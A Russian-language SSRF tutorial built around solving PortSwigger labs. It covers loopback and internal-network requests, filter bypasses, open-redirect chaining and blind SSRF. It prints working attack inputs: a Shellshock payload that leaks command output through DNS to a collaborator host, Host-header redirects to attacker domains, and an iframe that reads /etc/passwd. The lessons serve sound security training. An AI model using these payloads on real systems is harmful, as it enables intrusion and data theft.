---
title: SSRF
---
<div class="header__logo" >Server-side request forgery (SSRF): сервер, а сделай мне запрос на…
</div>
<p>
</p>
<style>
.header__logo {
font-size: 30px;
font-weight: 700;
color: #270469;
text-align: center;
}
</style>
<style>
.secret{
display: flex;
margin-left: auto;
margin-right: auto;
width: 50%;
}
</style>
<style>
.secret__block{
background-color: #fff;
display: block;
max-width: 100%;
height: auto;
transition: opacity .8s linear;
color: black;
text-transform: uppercase;
font-weight: 700;
text-align: center;
}
</style>
<style>
.secret__block img{
opacity: 5;
}
</style>
<style>
.secret__block:hover {
opacity: 2 ;
}
</style>
<style>
.secret__img {
opacity: ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img{
opacity: 0 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img: hover{
opacity: 5 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img {
display: block;
max-width: 100%;
height: auto;
transition: opacity 1.8s linear;
}
</style>
<style>
.secret__img:hover {
opacity: 5 ;
}
</style>
<style>
.secret__inner {
position: relative;
background-color: #fff;
}
</style>
<style>
.secret__inner:hover .secret__img {
transform: translate3d(-10px, -10px, 0);
}
</style>
<style>
.secret__inner img:hover {
opacity: 0;
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner img {
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner:hover .secret__img img {
opacity: 1;
}
</style>
<div class="TOC" >
Содержание:
<p>
</p>
</div>
<style>
.TOC {
font-size: 26px;
font-weight: 550;
color: #270469;
text-align: left;
</style>
> [TOC]
---
# Вводная часть
Всем привет, сегодня мы будем разбирать интересную уязвимось, которая существует не только как отдельная вулна, но также она частенько используется совместно с другими уязвимостями/атаками - SSRF(Server-side request forgery).
---
# Что такое SSRF
:::warning
**Подделка запроса на стороне сервера** (Server-side request forgery / SSRF) – это атака, которая позволяет злоумышленнику отправлять запросы от имени сервера к внешним или внутренним ресурсам. При этом злоумышленник может контролировать либо весь запрос целиком, либо его отдельные части (например, домен).
:::
Если проще, это атака, с помощью которой злоумышленник может заставить уязвимый сервер отослать запрос куда-либо (на какой-то внешний сервер, на хосты в его локальной сети и тд.), чтобы получить ценную информацию или сделать какое-либо действие, которое хакер в противном случае не смог бы сделать(например удалить пользователя через админскую панель или повысить себя до администратора).
---
# Примеры SSRF-атак
Предлагаю для лучшего понимания разобрать данную атаку на примере [лабораторных Portswigger'a](https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf)!
## SSRF-атаки на сервер
:::info
Лабораторная:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
:::
Предположим у нас есть какое-то веб-приложение и оно, естественно, размещено на каком-то сервере. При 'SSRF-атаке на сам сервер' цель злоумышленника - побудить уязвимое веб-приложение сделать HTTP-запрос обратно на сервер, на котором оно размещено, используя сетевой интерфейс обратной связи, т.е. используя такие URL'ы как 127.0.0.1(loopback) или localhost. Давайте посмотрим на пример такой атаки!
Заходим на лабу и приступаем к её решению:
Появляемся на сгенерированном сайте и видим подобие интернет-магазина:
На первый взгляд, на нём ничего интересного. Также при попытке залогиниться под дефолтным акком для всех лабораторных на Portswigger'e(wiener:peter) выдаёт ошибку, т.к. для решения этой лабораторной не надо иметь аккаунт. А что тогда делать:) ?
Давайте попробуем зайти на страничку `/admin`:
О, мы узнали 2 вещи сейчас:
1) В приложении существует страница для администраторов, в которой может быть интересующий нас функционал
2) Чтобы получить доступ к этой странице нужно быть либо залогиненым под админом, либо обратиться к этой странице через loopback-адрес (127.0.0.1)
:::warning
**Зачем приложениям делать прямой доступ к важной странице через loopback?**
1) Проверка контроля доступа может быть реализована в другом компоненте, расположенном перед сервером приложений. При обратном подключении к самому серверу проверка обходится.
2) В целях аварийного восстановления приложение может разрешить административный доступ без входа в систему любому пользователю с локального компьютера. Это дает администратору возможность восстановить систему в случае потери учетных данных. Здесь предполагается, что только полностью доверенный пользователь будет приходить непосредственно с самого сервера.
3) Административный интерфейс может прослушивать номер порта, отличный от номера порта основного приложения, и поэтому пользователи могут быть недоступны напрямую.
Уже можно сделать вывод, что *такие* запросы(т.е. запросы, исходящие с локальной машины), обрабатываются слегка иначе, чем обычные запросы -> их можно использовать для SSRF-атаки.
:::
Ну чтож, когда мы выяснили, что существует интересная страница `/admin`, которая возможно содержит интересный для нас функционал + чтобы получить доступ к этой странице можно просто отослать запрос, используя ip'шник 127.0.0.1(а не зная креды администраторов), мы делаем вывод, что нам нужно просто найти место, откуда можно совершать SSRF-атаки. Давайте просто зайдём на страницу какого-нибудь товара на сайте и посмотрим, что там есть:
На странице товара мы можем найти его описание, картинку товара и форму, с помощью которой можно узнать: есть ли товар в наличии в одном из предоставленных городов. Давайте нажмём на кнопку "Check stock" и посмотрим, что будет.
Если вы используете Burp Suite для проксирования трафик, то увидите, что после нажатия кнопки ваш Браузер отправил POST-запрос по маршруту `/product/stock`, в ответ на который пришло 95. Это как раз и есть количество данного товара, которое есть в Лондоне:
Давайте перекинем данный запрос в Repeater и проанализируем его:
В данном запросе есть параметр stockApi, значение которого - это URL `http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1`, на который наш сервак отправляет запрос. Он здесь применяется, так как чтобы предоставить информацию о запасах, приложение должно запрашивать различные серверные REST API, в зависимости от рассматриваемого продукта и магазина.
Отправив данный HTTP-запрос мы заставляем сервер сделать запрос к указанному URL-адресу, который локальный для самого сервака. Сервер в ответ получает некоторую информацию и возвращает уже нам количество товара в том или ином магазине:
Давайте попробуем вместо "правильного" URL-адреса ввести адрес этого же веб-приложения с маршрутом до `/admin`:
Мы получаем ответ, по которому можем сделать 2 вывода:
1) Мы можем указывать любой URL-адрес, и сервер пошлёт туда запрос -> мы отыскали поверхность для SSRF-атаки.
2) Нам выкинуло 401, так как мы забыли, что чтобы получить содержимое страницы `/admin` нам надо либо быть админстратором, либо сделать loopback запрос, то есть запрос на 127.0.0.1.
Давайте поменяем значение `stockApi` на `http://127.0.0.1/admin` (мы используем http так как административный интерфейс через loopback прослушивает другой номер порта, отличный от номера порта основного приложения, в нашем случае это 80 порт, при попытке отправить запрос по https, т.е. 443 порт, мы получим ошибку):
Отлично, нам удалось увидеть что находится на странице `/admin`!
А теперь нам нужно по заданию как-то удалить бедного Карлоса. Давайте просмотрим не на отрендереную страничку, а на голый html-код. Здесь мы увидим тег `section` внутри которого есть тег `<a>`, в котором уже есть маршрут, отправив на который GET-запрос `/admin/delete?username=carlos` мы сможем удалить пользователя Карлоса. Естественно мы не напрямую отправляет GET-запрос, а через свой POST-запрос заставляем уязвимый сервер отправить такой GET-запрос, который уже и удалит пользователя Карлоса:
После этого лабораторная будет решена:
## SSRF-атаки на другие хосты в локальной сети сервера
:::info
Лабораторная:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
:::
Другой тип атак, который мы можем сделать с помощью SSRF - "SSRF-атаки на другие бэк-энд системы". Смысл этих атак заключается в следующем:
Уязвимый к SSRF-атаке сервер может взаимодействовать с другими хостами в своей локальной сети, недоступными для пользователей напрямую. Эти хосты часто имеют немаршрутизируемые частные IP-адреса (10.0.0.0/8, 192.168.0.0/16 и тд.). Поскольку такие хосты обычно защищены топологией сети(так как из-за частных ip-адресов к ним подобраться почти нереально напрямую), они часто имеют более слабую защиту, так как а зачем заморачиваться, если и так всё готово:D
Во многих случаях такие внутренние хосты содержат конфиденциальные функции, доступ к которым без аутентификации может получить любой, кто может взаимодействовать с этими системами хоть как-нибудь.
Давайте откроем следующую лабораторную. Суть такая же: у нас есть интернет-магазин, в котором есть поверхность для SSRF-атаки, она находится в механизме проверки количества товара в выбранном магазине. Цель: удалить аккаунт Карлоса.
Мы знаем, что в локальной сети есть хост с IP-адресом 192.168.0.X, на его порту 8080 висит админка от приложения, через неё мы должны удалить аккаунт бедняги.
Давайте перейдём сразу к запросу, с помощью которого можно проэксплуатировать SSRF-атаку:
Так как это "внутренний" сервис, он точно будет не https и там точно есть `/admin` страница + порт 8080, поэтому наш сырой URL-адрес будет `http://192.168.0.X:8080/admin`.
Мы знаем, что нужный хост имеет IP-адрес в диапазоне от 192.168.0.0 до 192.168.0.255 (поставил 255 чисто показать диапазон, на самом это уже широковещатиельный адрес на подсеть 192.168.0.X так что вряд-ли хост имеет этот адрес :D)
Так что давайте вручную перебирать это всё не будем, а используем для этого Intruder!
Тыкните на запрос ЛКМ -> ПКМ -> Send to Intruder. Дальше убираем через Clear начальное выделение, выделяем последний октет нашего IP-адреса и добавляем на него выделение(Add).
Во вкладке Payloads выбираем тип пэйлоада Числа (Numbers) и ставим диапазон с 0 до 255(можно и до 254) с шагом 1, таким образом каждый новый запрос число будет увеличиваться на 1. После этого можем начинать атаку!
После того, как перебор закончиттся, фильтруем результат по Status коду, нам нужно то, что имеет статус 200(то есть запрос был успешным):
Дальше я нужный запрос отправил в Repeater для удобства. И дальше как в предыдущем примере: ищем ссылку, с помощью которой мы сможем заставить сервер отправить такой GET-запрос, чтобы удалить аккаунт Карлоса -> лаба будет решана. Это уже сделаете сами:)
---
# Обход защиты от SSRF-атак
## Обход чёрного и белого списка значений
**Чёрный список:**
Естественно, существуют определённые методы защиты от SSRF-атак, например блокировка запросов, которые содержат такие имена хостов как `127.0.0.1` и `localhost`, или конфиденциальные маршруты, такие как `/admin`.
Для обхода данной защиты можно сделать следующее:
- Альтернативное представление IP-адреса `127.0.0.1`: `2130706433`, `017700000001` или `127.1`.
- Использование домена, который резолвится (Процесс получения IP-адреса по домену) в `127.0.0.1`. Например `spoofed.burpcollaborator.net` и др.
- Использование URL-кодировки и разные варианты регистра.
- Использование вместо https - http
- И др.
---
**Белый список:**
Также некоторые приложения разрешают только ввод, который соответствует/начинается с/содержит белый список разрешенных значений. В этой ситуации можно обойти фильтр, используя несоответствия при синтаксическом анализе URL.
Спецификация URL-адреса содержит ряд функций, которые могут быть упущены из виду при реализации специального синтаксического анализа и проверки URL-адресов:
- Вставка учетных данных в URL-адрес перед именем хоста, используя символ @. Например:
`https://ожидаемый-хост:какой-тоПароль@зловредный-хост`
- Использование символа # для обозначения фрагмента URL. Например:
`https://зловредный-хост#ожидаемый-хост`
- Использование иерархии DNS-имен, чтобы поместить необходимые входные данные в полное DNS-имя, которым можно управлять. Например:
`https://ожидаемый-хост.зловредный-хост`
- Кодировка символами URL, чтобы запутать код анализа URL. Это особенно полезно, если код, реализующий фильтр, обрабатывает символы в кодировке URL иначе, чем код, выполняющий серверный HTTP-запрос. Можно попробовать двойное кодирование символов; некоторые серверы рекурсивно декодируют URL-адреса получаемых входных данных, что может привести к дальнейшим расхождениям.
- Использование комбинации этих методов вместе: `http://localhost:80#@stock.weliketoshop.net/admin`
## Обход фильтра через открытое перенаправление (open redirect)
Иногда можно обойти любую защиту на основе фильтров, используя уязвимость открытого перенаправления.
:::warning
**Open Redirect Vulnerabilities** — уязвимость web-сайта, позволяющая путём манипуляции параметров в URL перенаправить пользователя на ресурс, непредусмотренный разработчиком. В результате злоумышленник может отправить жертве письмо со ссылкой на один сайт, а в результате редиректа жертва попадёт на другой сайт.
:::
В предыдущем примере SSRF предположим, что введенный пользователем URL-адрес строго проверяетсяи ни одиен из методов не подошёл. Однако приложение, URL-адреса которого разрешены, содержит открытую уязвимость перенаправления. При условии, что API, используемый для создания серверного HTTP-запроса, поддерживает перенаправления, можно создать URL-адрес, который удовлетворяет фильтру и приводит к перенаправлению запроса на желаемую внутреннюю цель.
Например, предположим, что приложение содержит открытую уязвимость перенаправления, в которой следующий URL-адрес:
`/product/nextProduct?currentProductId=6&path=http://evil-user.net`
возвращает перенаправление на:
`http://evil-user.net`
Можное использовать уязвимость открытого перенаправления, чтобы обойти фильтр URL-адресов, и использовать уязвимость SSRF следующим образом:
```
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
```
Этот эксплойт SSRF работает, потому что приложение сначала проверяет, что предоставленный stockAPI URL-адрес находится в разрешенном домене, что так и есть. Затем приложение запрашивает предоставленный URL-адрес, который запускает открытое перенаправление. Он следует за перенаправлением и делает запрос на внутренний URL-адрес по выбору злоумышленника.
---
# Blind SSRF
## Что это такое
Слепые SSRF-уязвимости, как и слепые SQLi, это ситуация при которой приложение уязвимо для SSRF-атаки, но при этом оно не возвращает никакого ответа -> провернуть такую атаку очень тяжело, как минимум потому, что мы даже не уверены, что её впринципе можно делать:)
## Как найти слепую SSRFку
Как и с SQLi самый лучший способ идентифицировать наличие уязвимости - OAST(Out-of-band application security testing). Т.е. мы заставляем сервер сделать HTTP-запрос к внешней системе, которую мы контролируем, и в которой мы можем отслеживать сетевые взаимодействия с этой системой, то есть видить все пришедшие запросы. Если запрос был от нужного IP'шника -> бага есть, и мы можем пытаться её раскрутить! Для этого можем юзать такие тулзы как Burp Colaborator, Interactsh и др.
:::warning
Стоит сказать, что при идентификации наличия уязвимости к нам на сервер может придти не **DNS-запрос**, после которого последует **HTTP-запрос**, а придёт только **DNS-запрос и усё**. Обычно это происходит из-за того, что приложение пыталось выполнить **HTTP-запрос** к домену, что вызвало первоначальный поиск **DNS**, но фактический **HTTP-запрос** был заблокирован фильтрацией на уровне сети. Инфраструктура довольно часто разрешает исходящий трафик **DNS**, поскольку он необходим для очень многих целей, но блокирует **HTTP-подключения** к неожиданным адресатам.
:::
## Пример эксплуатации слепой SSRF
:::info
Лабораторная:
https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
:::
Описание лабораторной:
Давайте зайдём на лабу и чекнем количество товар.. Стоп, а где эта функциональность?
Предлагаю кинуть в Repeater запрос со страницей товара и подумаем что нам делать дальше:
Как мы помним по описанию, **на сайте есть какое-то аналитическое ПО, которое извлекает URL из заголовка Referer, при загрузке продукта**. То есть, скорее всего, это ПО и будет для нас той самой скрытой поверхностью для применения SSRF-атаки! Давайте тогда в Header'е Referer вставим сгенерированную ссылку на наш коллаборатор:
И дальше отправим запрос, после чего будем ждать на коллабораторе отстуков:
А вот и отстуки пришли -> значит можно через это ПО делать SSRF-атаки!
Но первая лаба по blind SSRF на этом и заканчивается, давайте сразу перейдём ко второй и посмотрим как именно использовать blind SSRF, так как идентификация наличия SSRF - это хорошо, но если это всё, что мы можем сделать, то это грустно:)
---
:::info
Лабораторная:
https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
:::
Поскольку при blind SSRF нельзя просмотреть ответ от внутреннего запроса, становиться невозможным использоваться такой SSRF для изучения содержимого в на внутренних хостах. Однако даже так всё равно можно использовать данную вулну для поиска других уязвимостей на самом сервере или в других внутренних системах:
Можно вслепую сканировать внутреннее пространство IP-адресов, отправляя пэйлоады, предназначенные для обнаружения известных уязвимостей. Это конечено своего рода тупой перебор, в котором мы пытаемся заэксплойтить кучу разных известных уязвимостей на внутренних хостах, но если ничего другого нельзя сделать - то это наш единственный вариант:)
Предлагаю сразу продолжить с того, на чём закончили в предыдущей лабораторной:
Мы отправили запрос с нашим доменом коллаборатора в заголовке Referer:
И получили отстуки. Здесь стоит обратить внимание, что запрос идёт **ОТ** сервера, но при этом почему-то в запросе есть **МОЙ** User-Agent:
Может мы не так что-то поняли, давайте ещё раз отправим запрос, только поменяем слегка User-Agent:
Всё правильно, данная ПО для сбора аналитики передаёт куда-то дальше мой User-Agent. И вроде тут ничего такого, если бы не одна вулна, и причина по которой её можно использовать совместно с SSRF:
:::warning
**Есть такая штука, которая называется CGI-скрипт**.
**CGI (от англ. Common Gateway Interface — «общий интерфейс шлюза»)** — стандарт интерфейса, используемого для связи внешней программы с веб-сервером. Программу, которая работает по такому интерфейсу совместно с веб-сервером, принято называть шлюзом, хотя многие предпочитают названия «скрипт» (сценарий) или «CGI-программа».
Поскольку гипертекст(та самая HTMK'ка) статичен по своей природе, веб-страница не может непосредственно взаимодействовать с пользователем. До появления JavaScript, не было иной возможности отреагировать на действия пользователя, кроме как передать введенные им данные на веб-сервер для дальнейшей обработки. В случае CGI эта обработка осуществляется с помощью внешних программ и скриптов, обращение к которым выполняется через стандартизованный (см. RFC 3875: CGI Version 1.1) интерфейс — общий шлюз.
На сервере, где находится сайт, должно быть разрешено выполнение cgi-скриптов. Дело в том, что скрипт, как и любая другая программа, может выполнять системные команды на сервере, что представляет потенциальную угрозу безопасности
**Как работает CGI-скрипт?**
1) Клиент запрашивает CGI-приложение по его URI.
2) Веб-сервер принимает запрос и устанавливает переменные окружения, через них приложению передаются данные и служебная информация.
3) Веб-сервер перенаправляет запросы через стандартный поток ввода (stdin) на вход вызываемой программы(допустим скриптик на Perl).
4) CGI-приложение выполняет все необходимые операции и формирует результаты в виде HTML.
5) Сформированный гипертекст(html-документ) возвращается веб-серверу через стандартный поток вывода (stdout). Сообщения об ошибках передаются через stderr.
6) Веб-сервер передает результаты запроса клиенту.
Подробнее об этой штуке можно почитать [ТУТ](https://lectureswww.readthedocs.io/5.web.server/cgi.html)!
:::
:::danger
**CVE-2014-6271, CVE-2014-7169: удалённое выполнение кода в Bash**
Bash позволяет экспортировать функции как переменные окружения:
```
$ myfunc() { echo "Hello"; } #объявляю функцию
$ export -f myfunc #делаю данную функцию переменной окружения
$ env | grep -A1 ^myfunc #вывожу все переменные окружени и прошу выдрать оттуда только кусок, связанной с той функцией выше
myfunc=() { echo "Hello"
}
```
Уязвимость состоит в том, что если после тела функции (после последнего символа "}") добавить ещё какую-нибудь команду, и экспортировать её — она будет выполнена при вызове дочернего интерпретатора:
```
$ env x='() { :; }; echo "Oh..."' /bin/bash -c /sbin/nologin
Oh...
This account is currently not available.
```
Это, в свою очередь, позволяет делать интересные вещи — например, если у вас есть CGI-скрипт на Perl, который вызывает Bash — атакующий может сконструировать HTTP-пакет, который будет содержать вредоносный код. Этот код через переменные окружения попадёт в Bash — и будет выполнен.
Данную вулну называют **ShellShock**!
:::
Теперь когда мы узнали об CGI и об опасной вулне, которая с ним связана, мы можем предположить следующее: возможно где-то в локальной сети сервера есть тот самый хост, который уязвим для этой вулны. И мы можем просто вслепую просканировать с 192.168.0.0 - 192.168.0.254 с полезной нагрузкой в User-Agent(так как именно она пересылается в запросе и гипотетически она может попасть в CGI, который вызовет Bash и наша полезная нагрузка отработает), которая поможет нам узнать имя пользователя ОС, от имени которого и запущен данный скрипт!
В качестве полезной нагрузки я буду использовать следующее:
```
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
```
С помощью неё можно заставить внутренний хост сделать DNS запрос к нашему коллаборатору, прикрепив к нему вначале в качестве поддомена вывод команды whoami!
А теперь давайте перекинем запрос в Intruder и выделим последний октет:
Во вкладке Payloads выставляем тип цифры и диапазон от 0 до 254 с шагом 1. И начинаем атаку:
В коллабораторе получаем отстук. Доменом тут служит наш коллаборатор, к которому в качестве поддомена прикреплно имя пользователя ОС внутреннего хоста:
Дальше просто отправляем ответ и заканчиваем с лабой!
---
# Другие примеры использования SSRF-атаки
Мы чуть ранее рассмотрели SSRF-атаку через Referer заголовок, что может быть для многих слегка не очевидно, но помимо этой атаки существуют и другие не менее интересные SSRF-атаки, давайте же разберём их!
## Неправильная маршрутизация запросов
Следующие методы использования SSRF-атак связаны с неправильной маршрутизацией запросов и с ревёрс прокси-серверами, так что давайте быстро ознакомимся с ними, дабы к этому больше не возвращаться!
:::info
**Обратный прокси (реверс-прокси)** — это сервер, который находится перед группой клиентских компьютеров. Когда они отправляют запросы к сайтам и сервисам в интернете, прокси-сервер выступает в роли посредника: перехватывает запросы, а затем связывается с веб-серверами от имени клиентов.
Он нужен для следующего:
1) **Балансировка нагрузки**. Например, популярный сайт, который ежедневно посещают миллионы пользователей, в определенный момент может не справиться с нагрузкой и не сможет обрабатывать весь входящий трафик с помощью одного исходного сервера. В таких случаях трафик можно распределить по нескольким веб-серверам, которые будут обрабатывать запросы. В случае критического сбоя основного сервера другие веб-серверы могут подключиться к обработке трафика.
2) **Защита от атак**. Обратный прокси позволяет исходным серверам не раскрывать свои IP адреса клиентам. Это значительно затрудняет проведение DDoS-атак: все запросы можно пропускать через прокси-сервер с более надежной системой защиты и большей мощностью по сравнению с основным сервером. Например, через сервер Cloudflare.
3) **Глобальная балансировка нагрузки на сервер (GSLB)**. Этот подход предполагает распределение сайта по нескольким серверам, которые физически расположенны в разных странах мира. Обратный прокси отправляет запрос пользователя на сервер, который географически находится ближе к нему. Это уменьшает расстояние, которые необходимо преодолевать запросам и ответам, сводя к минимуму время загрузки.
4) **Кэширование**. Обратный прокси-сервер также может кэшировать содержимое запроса и таким образом повышать производительность. Например, если пользователь из Парижа заходит на сайт, сервера которого расположены в Лос-Анджелесе, он может сделать это через локальный прокси в Париже, который затем взаимодействует с исходным сервером в Лос-Анджелесе. Прокси-сервер кэширует (или временно сохраняет) данные ответа, а следующие пользователи из Парижа увидят кэшированную локально версию данных, поскольку кэш будет на парижском реверс-прокси. Это существенно повысит производительность и время загрузки данных.
5) **SSL-шифрование**. Шифрование и дешифрование сообщений (SSL или TLS) для каждого клиента по отдельности стоит дорого с точки зрения вычислений для исходного сервера. Обратный прокси-сервер можно настроить для расшифровки всех входящих запросов и шифрования всех исходящих ответов, освободив ресурсы на исходном сервере.
:::
---
Обратным прокси поручается ретрансляция входящих запросов на соответствующий внутренний сервер. Обычно они занимают привилегированное положение в сети, напрямую получая запросы из Интернета, но имея доступ к демилитаризованной зоне компании, если не ко всей ее внутренней сети. При наличии подходящей полезной нагрузки некоторыми обратными прокси-серверами можно манипулировать, чтобы они направляли запросы в пункт назначения по выбору злоумышленника. Это фактически делает их шлюзом, обеспечивающим беспрепятственный доступ к внутренней сети цели — сверхмощный вариант подделки запросов на стороне сервера.
### SSRF-атака через заголовок Host
Для эксплуатации данного вида SSRF-атак для большинства случаев достаточно изменить значение заголовка Host в HTTP-запросе:
```
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net #вот это значение как раз и надо менять!
Connection: close
```
Ревёрс прокси-сервера парсят значение данного заголовка и используют его как адрес, на который надо перенаправить запрос -> если можно поставить любое значение и ревёрс-прокси его не дропнет, то мы можем делать наши SSRF'ные дела(попытаться вытащить данные, сделать какое-либо "запрещённое" действие, попытаться получить rce(remote code execution) и тд).
---
Ествественно это не всегда 100% лежит на поверхности, и надо порой преобразовать запрос так, чтобы всё отработало. Например, некоторые сервера могут допустить такой HTTP-запрос, чтобы у него в заголовке Host был домен с ПОРТОМ(`google.com:80`)! И это можно использовать:
```
GET / HTTP/1.1
Host: innocent-site.com:80@burp-collaborator.net
Connection: close
```
### SSRF-атака через URL-адрес
Что делать если значения заголовка Host должны соответствовать заданному white-листу? Можно ли тут хоть как-нибудь эксплуатировать SSRF? Ответ - да!
В строке запроса также может быть указан хост, который имеет приоритет над заголовком Host:
```
GET http://internal-website.mil/ HTTP/1.1 #он имеет приоритет!
Host: xxxxxxx.mil
Connection: close
```
---
Также стоит сказать, что уязвимости связанные с маршрутизацией не всегда вызваны неправильными настройками. Например, следующий код приводит приводит к неочивидной SSRF-атаке:
```
Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();
URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
.setHost(backendURL.getHost())
.setPort(backendURL.getPort())
.setScheme(backendURL.getScheme())
.build();
} catch (URISyntaxException e) {
Util.sendError(ctx, 400, INVALID_REQUEST_URL);
return;
}
```
На первый взгляд тут ничего такого:)
Код берет предоставленный пользователем URL-адрес, заменяет домен жестко заданным адресом внутреннего сервера и передает его дальше. Вроде ничего такого, только если на сервере есть серверная библиотека Apache HttpComponents(старой версии), то появляется беда, так как она не требует, чтобы пути начинались с «/». Соответственно можно сделать примерно такой запрос:
```
GET @burp-collaborator.net/ HTTP/1.1
Host: someDomain.com
Connection: close
```
И получить на выходе `http://public-backend@burp-collaborator.net/`, и запрос полетит уже не во внутрь, а на коллаборатор!
Если же нельзя использовать `@`, то не беда! Если код имеет такую же функцию на серверной стороне, то запрос можно слегка изменить и всё равно выполнить SSRF-атаку:
```
GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: someDomain.com
Connection: close
```
`http://public-backendxyz.burpcollaborator.net:80/bar`
## Атаки на вспомогательные системы
Помимо атак на обратные прокси-сервера есть и атаки на вспомогательные системы(бэкэнд-аналитика и кэширование). В отличие от атак на основе маршрутизации, эти методы обычно не мешают нормальной работе веб-сайтов. Одну из таких атак мы уже рассмотрели в разделе со слепой SSRF'кой, давайте же посмотрим на другие такие же атаки!
### Вызов отстуков с помощью различных заголовков
**X-Forwarded-For и True-Client-IP**
Данные заголовки обычно используются пентестерами для подмены своего IP-адреса, но также поддерживают имена хостов. Приложения, которые доверяют этим заголовкам, будут выполнять поиск DNS для преобразования предоставленных имен хостов в IP-адреса. Это служит отличным индикатором того, что они уязвимы для атак с подменой IP-адресов, но если нет под рукой уязвимости, связанной с повреждением памяти библиотеки DNS, отстуки само по себу будут бесполезны:(
**X-WAP-Profile**
X-Wap-Profile — это древний HTTP-заголовок, который должен указывать URL-адрес профиля пользовательского агента устройства (UAProf), XML-документ, определяющий возможности устройства, такие как размер экрана, поддержка Bluetooth, поддерживаемые протоколы и кодировки и т. д.:
```
GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close
```
Соответствующие приложения будут извлекать URL-адрес из этого заголовка, а затем извлекать и анализировать указанный документ XML, чтобы они могли адаптировать содержимое, которое они предоставляют клиенту. Если веб-сайт поддерживет данный заголовок, то можно попытаться сделать SSRF'ку + 1 использовать одну уязвимость, связанную с XML, которую мы рассмотрим в следующий раз!
**Referer**
Ну.. мы уже рассмотрели данный заголовок, но давайте ещё раз:
Системы веб-аналитики часто извлекают любой нераспознанный URL-адрес, указанный в заголовке Referer прибывающих посетителей. Некоторые аналитические системы даже пытаются активно сканировать весь веб-сайт, указанный в URL-адресе реферера, в целях SEO. По сути, это слепая SSRF-уязвимость , поскольку у пользователя нет возможности просмотреть результаты запроса аналитической системы, и это часто происходит через несколько минут или часов после запроса пользователя, что еще больше усложняет эксплуатацию(в лабе были идеальные условия, чтобы мы не заснули:)).
### HTML-Injection
:::warning
**Что такое HTML-инъекция?**
Суть этого типа инъекционной атаки заключается во внедрении HTML-кода через уязвимые части веб-сайта. Злоумышленник отправляет HTML-код через любое уязвимое поле с целью изменить дизайн веб-сайта или любую информацию, отображаемую пользователю.
:::
Мы данную уязвимость рассмотрим на будущих занятиях, самое главное тут следующее:
SSRF можно использовать через HTML-инъекцию. Например:
На большинстве веб-сайтов, особенно в веб-приложениях CRM, мы обычно сталкивались с такими функциями, как `Export In PDF` или `Generate a PDF Report`. Когда мы нажимаем на эти кнопки, отчет в формате PDF генерируется с сервера и загружается на наш компьютер. Эти генераторы PDF в большинстве случаев уязвимы для HTML-инъекций, и разработчики даже не пытаются это исправить, потому что HTML-инъекция в PDF никогда не может причинить никому вреда, но они не понимают, что через внедрение тега `<iframe>` в PDF злоумышленник может искать точки внедрения SSRF и может сделать запрос от имени сервера. В большинстве случаев всякий раз, когда вы создаете отчет в формате PDF, вам обычно приходится заполнять некоторые параметры, а иногда некоторые параметры, такие как ваше имя, сообщение и т.д., Отражаются в PDF. Можно попытаться внедрить в эти параметры тег `<iframe>` и через атрибут src указать источник данных для iframe. Сначала можно просто вставить коллаборатор, если придёт отстук с ip сервака, то можно уже задумываться над SSRF'кой!
А именно:
`<iframe src=file:///etc/passwd></iframe>`
Передаёте это добро серверу и если сервер успешно покажет вам содержимое файла etc/passwd, то SSRF будет подтвержден.
---
# Домашка(по желанию)
Это наверное всё, что я хотел показать сегодня, если вам этого было мало, то советую прочитать [ЭТУ](https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface#remoteclient) статью и глянуть [ЭТОТ](https://www.youtube.com/watch?v=D1S-G8rJrEk&t=428s) докладик!
Для закрепления пройденного материала советую сделать следующее:
1) Прорешать [раздел SSRF](https://portswigger.net/web-security/ssrf) в PortSwigger'e;
2) Ответить на вопрос - ssrf бывает только в HTTP(если нет, привести 2 примера)?
3) Как ещё можно **применять** Blind SSRF помимо ShellShock?
И на этом, пожалуй, всё. Благодарю за прочтение топика, надеюсь вам было всё понятно и интересно!
Если есть вопросы - пишите в тг @ArroizX
Google Drive
Gist
Clipboard
Sign in with Wallet
